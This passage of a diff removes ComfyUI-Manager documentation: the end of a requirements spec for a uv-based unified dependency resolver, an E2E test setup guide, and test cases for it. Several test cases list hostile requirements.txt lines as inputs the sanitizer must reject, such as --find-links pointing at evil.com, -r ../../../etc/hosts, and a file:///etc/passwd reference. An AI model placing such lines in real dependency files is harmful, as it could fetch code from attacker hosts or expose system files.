- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
- Already-installed packages at the same version are skipped (default uv behavior)
- Log installation results
**Error handling:**
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
- On total failure: Parse stderr for failure cause report → fallback to existing pip
- **No partial failure report** (not possible due to uv's behavior)
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
### FR-5: Post-install Environment Correction
**Behavior:**
- Call `PIPFixer.fix_broken()` for environment integrity correction
- Restore torch version (when change detected)
- Fix OpenCV conflicts
- Restore comfyui-frontend-package
- Restore packages based on `pip_auto_fix.list`
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
### FR-6: install.py Execution (Existing Flow Maintained)
**Behavior:**
- The unified resolver handles deps installation **at startup time only**
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
**Control flow specification (unified mode active):**
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
- `install.py` execution runs **immediately** as before
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
**Control flow specification (unified mode inactive / fallback):**
- Existing pip install loop runs as-is (no change)
- `install.py` execution runs **immediately** as before
### FR-7: Startup Batch Resolution
**Behavior:**
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
**Startup execution flow (in `prestartup_script.py`):**
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
**`execute_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
- `install.py` execution still runs immediately
**`execute_lazy_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
- `install.py` execution still runs
**Windows-specific behavior:**
- Windows lazy install path also benefits from startup batch resolution
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
---
## 4. Non-functional Requirements
| Item | Requirement |
|------|-------------|
| **Performance** | Equal to or faster than existing individual installs |
| **Stability** | Must not break the existing environment |
| **Logging** | Log progress and results at each step (details below) |
| **Error recovery** | Fallback to existing pip method on failure |
| **Testing** | Unit test coverage above 80% |
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
### Logging Requirements
| Step | Log Level | Content |
|------|-----------|---------|
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
| `--index-url` detection | `INFO` | Detected additional index URL list |
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
| uv compile success | `INFO` | Pinned package count, elapsed time |
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
| Install start | `INFO` | Number of packages to install |
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
| Install failure | `WARNING` | Failed package list, fallback transition notice |
| Fallback transition | `WARNING` | Transition reason, original error message |
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
---
## 5. Usage Scenarios
### Scenario 1: Single Node Pack Installation (unified mode)
```
User requests installation of node pack X
→ Git clone / download node pack X
→ Run X's install.py (if exists) — immediately
→ Skip per-node pip install (deps deferred)
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
→ uv pip compile resolves fully compatible versions
→ uv pip install -r for batch installation
→ PIPFixer environment correction
```
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
```
User requests installation of node packs X, Y, Z
→ Each node pack: git clone + install.py — immediately
→ Per-node pip install skipped for all
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
→ Single uv pip compile → single uv pip install -r
→ PIPFixer environment correction
```
### Scenario 3: Dependency Resolution Failure (Edge Case)
```
Even pre-validated lists may fail due to uv version differences or platform issues
→ uv pip compile failure → return conflict report
→ Display conflict details to user
→ Auto-execute existing pip fallback
```
### Scenario 4: uv Not Installed
```
uv unavailable detected → auto-fallback to existing pip method
→ Display uv installation recommendation to user
```
### Scenario 5: Windows Lazy Installation (unified mode)
```
Node pack installation requested on Windows
→ Node pack install deferred to startup (existing lazy mechanism)
→ On next ComfyUI startup: unified resolver runs first (batch deps)
→ execute_lazy_install_script() skips per-node pip (already resolved)
→ install.py still runs per node pack
```
### Scenario 6: Malicious/Non-standard requirements.txt
```
Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
→ Sanitization filter rejects the line
→ Log rejection reason and continue processing remaining valid packages
→ Notify user of rejected item count
```
### Scenario 7: Concurrent Install Requests (unified mode)
```
User requests installation of node packs A and B nearly simultaneously from UI
→ Each request: git clone + install.py immediately, deps skipped
→ On restart: single unified resolver run handles both A and B deps together
→ No concurrency issue (single batch at startup)
```
---
## 6. Success Metrics
| Metric | Target |
|--------|--------|
| Dependency conflict reduction | 90%+ reduction compared to current |
| Install success rate | 99%+ (for compatibility-verified lists) |
| Performance | Equal to or better than existing individual installs |
| Adoption rate | 50%+ of eligible users |
---
## 7. Future Extensions
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
- Lockfile caching: Reuse for identical node pack configurations
- Pre-install dependency conflict validation API: Check compatibility before installation
- Dependency tree visualization: Display dependency relationships to users
- `uv lock`-based cross-platform lockfile support (TOML format)
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
- `pip_install()` integration: Route UI direct installs through unified resolver
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
---
## Appendix A: Existing Code Install Path Mapping
> This section is reference material to clarify the unified resolver's scope of application.
| Install Path | Location | v1 Applied | Notes |
|-------------|----------|------------|-------|
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
-194
View File
@@ -1,194 +0,0 @@
# Test Environment Setup
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
## Automated Setup (Recommended)
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
```bash
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
bash tests/e2e/scripts/setup_e2e_env.sh
# 2. Start: launches ComfyUI in background, blocks until ready
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
# 4. Cleanup
rm -rf /tmp/e2e_test
```
### Script Details
| Script | Purpose | Input | Output |
|--------|---------|-------|--------|
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
---
## Prerequisites
- Python 3.9+
- Git
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
## Manual Setup (Reference)
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
### 1. ComfyUI Clone
```bash
COMFY_ROOT=$(mktemp -d)/ComfyUI
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
cd "$COMFY_ROOT"
```
### 2. Virtual Environment
```bash
cd "$COMFY_ROOT"
uv venv .venv
source .venv/bin/activate # Linux/macOS
# .venv\Scripts\activate # Windows
```
### 3. ComfyUI Dependencies
```bash
# GPU (CUDA)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
# CPU only (lightweight, for functional testing)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
```
### 4. ComfyUI-Manager Install (Development)
```bash
# MANAGER_ROOT = comfyui-manager-draft4 repository root
MANAGER_ROOT=/path/to/comfyui-manager-draft4
# Editable install from current source
uv pip install -e "$MANAGER_ROOT"
```
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
### 5. Symlink Manager into custom_nodes
```bash
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
```
### 6. Write config.ini
```bash
mkdir -p "$COMFY_ROOT/user/__manager"
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
[default]
use_uv = true
use_unified_resolver = true
EOF
```
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
### 7. HOME Isolation
```bash
export HOME=/tmp/e2e_home
mkdir -p "$HOME/.config" "$HOME/.local/share"
```
### 8. ComfyUI Launch
```bash
cd "$COMFY_ROOT"
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
```
| Flag | Purpose |
|------|---------|
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
| `--cpu` | Run without GPU (for functional testing) |
| `--port 8199` | Use non-default port to avoid conflicts |
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
| `--listen` | Allow remote connections (optional) |
### Key Directories
| Directory | Path | Description |
|-----------|------|-------------|
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
### Startup Sequence
When Manager loads successfully, the following log lines appear:
```
[PRE] ComfyUI-Manager # prestartup_script.py executed
[START] ComfyUI-Manager # manager_server.py loaded
```
The `Blocked by policy` message for Manager in custom_nodes is **expected**`should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
---
## Caveats & Known Issues
### PYTHONPATH for `comfy` imports
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
```bash
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
```
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
### config.ini path
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
### Manager v4 endpoint prefix
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
### `Blocked by policy` is expected
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
### Bash `((var++))` trap
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
### `git+https://` URLs in requirements.txt
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
---
## Cleanup
```bash
deactivate
rm -rf "$COMFY_ROOT"
```
-788
View File
@@ -1,788 +0,0 @@
# Test Cases: Unified Dependency Resolver
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
## Enabling the Resolver
Add the following to `config.ini` (in the Manager data directory):
```ini
[default]
use_unified_resolver = true
```
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
## API Reference (for Runtime Tests)
Node pack installation at runtime uses the task queue API:
```
POST http://localhost:8199/v2/manager/queue/task
Content-Type: application/json
```
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
**Payload** (`QueueTaskItem`):
| Field | Type | Description |
|-------|------|-------------|
| `ui_id` | string | Unique task identifier (any string) |
| `client_id` | string | Client identifier (any string) |
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
| `params` | object | Operation-specific parameters (see below) |
**Install params** (`InstallPackParams`):
| Field | Type | Description |
|-------|------|-------------|
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
| `version` | string | Required by model. Set to same value as `selected_version`. |
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
> installs use per-node pip via `legacy/manager_core.py`.
---
## Out of Scope (Deferred)
The following are intentionally **not tested** in this version:
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
## CLI E2E Tests (`cm_cli uv-compile`)
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
the E2E environment from `setup_e2e_env.sh` are needed.
**Common setup**:
```bash
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
export COMFYUI_PATH="$E2E_ROOT/comfyui"
VENV_PY="$E2E_ROOT/venv/bin/python"
```
---
### TC-CLI-1: Normal Batch Resolution [P0]
**Steps**:
1. Create a test node pack with a simple dependency:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved N deps from M source(s)`
- `chardet` is importable: `$VENV_PY -c "import chardet"`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
---
### TC-CLI-2: No Custom Node Packs [P1]
**Steps**:
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
or empty dirs may remain)
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
---
### TC-CLI-3: uv Unavailable [P0]
**Steps**:
1. Create a temporary venv **without** uv:
```bash
python3 -m venv /tmp/no_uv_venv
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
```
2. Ensure no standalone `uv` in PATH:
```bash
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `uv is not available`
**Cleanup**: `rm -rf /tmp/no_uv_venv`
---
### TC-CLI-4: Conflicting Dependencies [P0]
**Steps**:
1. Create two node packs with conflicting pinned versions:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `Resolution failed`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
---
### TC-CLI-5: Dangerous Pattern Skip [P0]
**Steps**:
1. Create a node pack mixing valid and dangerous lines:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
chardet>=5.0
-r ../../../etc/hosts
--find-links http://evil.com/pkgs
requests>=2.28
EOF
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
- `chardet` and `requests` are importable
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
---
### TC-CLI-6: install --uv-compile Single Pack [P0]
**Steps**:
1. In clean E2E environment, install a single node pack:
```bash
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Per-node pip install does NOT run (no `Install: pip packages` in output)
- `install.py` still executes
- Output contains: `Resolved N deps from M source(s)`
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
---
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
**Steps**:
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
```bash
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
- Batch resolution runs once (not twice) after all installs complete
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
- Previously installed deps (from step 1) remain intact
---
## Test Fixture Setup
Each TC that requires node packs should use isolated, deterministic fixtures:
```bash
# Create test node pack
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
# Cleanup after test
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
```
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
---
## TC-1: Normal Batch Resolution [P0]
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
**Steps**:
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
2. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
[UnifiedDepResolver] running: ... uv pip compile ...
[UnifiedDepResolver] running: ... uv pip install ...
[UnifiedDepResolver] startup batch resolution succeeded
```
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
---
## TC-2: Disabled State (Default) [P1]
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
**Steps**: Start ComfyUI
**Verify**: No `[UnifiedDepResolver]` log output at all
---
## TC-3: Fallback When uv Unavailable [P0]
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
**Steps**:
1. Create a venv **without** uv installed (`uv` package not in venv)
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
3. Start ComfyUI
```bash
# Reliable uv removal: both module and binary must be absent
uv pip uninstall uv
# Verify neither path works
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
```
**Expected log**:
```
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Subsequent node pack installations use per-node pip install normally
---
## TC-4: Fallback on Compile Failure [P0]
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
**Steps**:
1. Node pack A `requirements.txt`: `numpy==1.24.0`
2. Node pack B `requirements.txt`: `numpy==1.26.0`
3. Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
```
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install normally
---
## TC-5: Fallback on Install Failure [P0]
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
**Steps**:
1. Create node pack with `requirements.txt`: `numpy<2`
2. Force install failure by making the venv's `site-packages` read-only:
```bash
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
3. Start ComfyUI
4. After test, restore permissions:
```bash
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
```
**Expected log**:
```
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
```
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
**Verify**:
- `manager_util.use_unified_resolver` is reset to `False`
- Falls back to per-node pip install
---
## TC-6: install.py Execution Preserved [P0]
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
**Steps**:
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-installpy",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id-with-install-py>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
> Alternatively, use the Manager UI to install the same pack.
2. Check logs after installation
**Verify**:
- `Install: install script` is printed (install.py runs immediately during install)
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
---
## TC-7: Dangerous Pattern Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Include any of the following in a node pack's `requirements.txt`:
```
-r ../../../etc/hosts
--requirement secret.txt
-e git+https://evil.com/repo
--editable ./local
-c constraint.txt
--constraint external.txt
--find-links http://evil.com/pkgs
-f http://evil.com/pkgs
evil_pkg @ file:///etc/passwd
```
**Expected log**:
```
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
```
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
---
## TC-8: Path Separator Rejection [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
../evil/pkg
bad\pkg
./local_package
```
**Expected log**:
```
[UnifiedDepResolver] rejected path separator: '...' from <path>
```
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
---
## TC-9: --index-url / --extra-index-url Separation [P0]
**Precondition**: `use_unified_resolver = true`
Test all four inline forms:
| # | `requirements.txt` content | Expected package | Expected URL |
|---|---------------------------|-----------------|--------------|
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
**Verify**:
- Package spec is correctly extracted (or empty for standalone lines)
- URL is passed as `--extra-index-url` to `uv pip compile`
- Duplicate URLs across multiple node packs are deduplicated
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
---
## TC-10: Credential Redaction [P0]
**Precondition**: `use_unified_resolver = true`
**Steps**: Node pack `requirements.txt`:
```
private-pkg --index-url https://user:token123@pypi.private.com/simple
```
**Verify**:
- `user:token123` does NOT appear in logs
- Masked as `****@` in log output
---
## TC-11: Disabled Node Packs Excluded [P1]
**Precondition**: `use_unified_resolver = true`
**Steps**: Test both disabled styles:
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
3. Start ComfyUI
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
---
## TC-12: No Dependencies [P2]
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
**Steps**: Start ComfyUI
**Expected log**:
```
[UnifiedDepResolver] No dependencies to resolve
```
**Verify**: Compile/install steps are skipped; startup completes normally
---
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
**Steps**:
1. Start ComfyUI and confirm batch resolution succeeds
2. While ComfyUI is running, install a new node pack via API:
```bash
curl -X POST http://localhost:8199/v2/manager/queue/task \
-H "Content-Type: application/json" \
-d '{
"ui_id": "test-defer-1",
"client_id": "test-client",
"kind": "install",
"params": {
"id": "<node-pack-id>",
"version": "latest",
"selected_version": "latest",
"mode": "remote",
"channel": "default"
}
}'
```
> Replace `<node-pack-id>` with a real CNR node pack ID (e.g., from the Manager UI).
> Alternatively, use the Manager UI to install a node pack.
3. Check logs after installation
**Verify**:
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
- `Install: pip packages` does NOT appear
- After ComfyUI **restart**, the new node pack's deps are included in batch resolution
---
## TC-14: Both Unified Resolver Code Paths [P0]
Verify both code locations that guard per-node pip install behave correctly in unified mode:
| Path | Guard Variable | Trigger | Location |
|------|---------------|---------|----------|
| Runtime install | `manager_util.use_unified_resolver` | API install while ComfyUI is running | `glob/manager_core.py` class method (~line 846) |
